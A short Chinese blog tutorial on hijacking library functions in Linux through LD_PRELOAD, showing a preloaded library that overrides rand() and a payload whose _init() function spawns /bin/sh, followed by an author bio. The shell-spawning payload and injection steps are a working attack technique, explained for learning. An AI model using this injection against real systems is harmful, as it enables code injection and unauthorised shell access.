Linux下利用动态链接劫持库函数并注入代码
关于环境变量$ LD_PRELOAD
$LD_PRELOAD是一个环境变量,用于加载动态库,他的优先级是最高的
/*
优先级顺序:
(1)$LD_PRELOAD
(2)$LD_LIBRARY_PATH
(3)/etc/ld.so.cache
(4)/lib
(5)/usr/lib
*/
一个挑战就是,这玩意可以产生一个shell,就像下面这样:
$ LP_PRELOAD = ./payload.so /bin/true
劫持库函数
假设存在一段这样的代码,其编译过程
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int main(int argc, char const *argv[]){
srand(time(NULL));
printf("%d\n", rand());
}
gcc random.c -o random
./random
好的我们来覆写一下这个函数
int rand(void){
return 32;
}
gcc -shared -fpic shlib.c -o shlib.so
LD_PRELOAD=./shlib.so ./random
构造Payload
#include <unistd.h>
void _init(){
char *argv[] = {"/bin/sh", 0};
execve(argv[0], &argv[0], NULL);
}
博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:Mrli888@88.com